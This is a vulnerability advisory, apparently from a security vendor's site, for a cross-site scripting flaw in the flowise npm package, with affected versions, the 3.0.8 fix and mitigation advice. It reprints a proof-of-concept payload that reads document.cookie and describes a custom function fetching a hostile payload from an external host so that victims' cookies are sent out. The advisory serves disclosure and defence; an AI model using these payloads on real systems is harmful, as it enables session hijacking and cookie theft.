CVE-2025-71331 — flowise
CVE-2025-71331 is a CWE-80 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise - Cross-Site Scripting in Chat Messages and Agent Workflows
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-71331.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.
Details
- Send a Message
<iframe src="javascript:alert(document.cookie);">from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" />
Trigger in other ways:
-
Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)
-
Create a Custom function as an example, use the below example code.
const fetch = require('node-fetch');
const url = 'https://external.website';
const options = {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
};
try {
const response = await fetch(url, options);
const text = await response.text();
return text;
} catch (error) {
console.error(error);
return '';
}
-
The external website (https://external.website) return a XSS payload as content.
<img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" /> -
The javascript code is executed and the victim's cookie data is sent to the external website.
<img width="1212" alt="image" src="https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7" />
PoC
<iframe src="javascript:alert(document.cookie);">
Impact
it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.0.8npm install flowise@3.0.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-71331 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-71331 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-71331. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-71331 in your dependencies?
O3 Security finds CVE-2025-71331 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.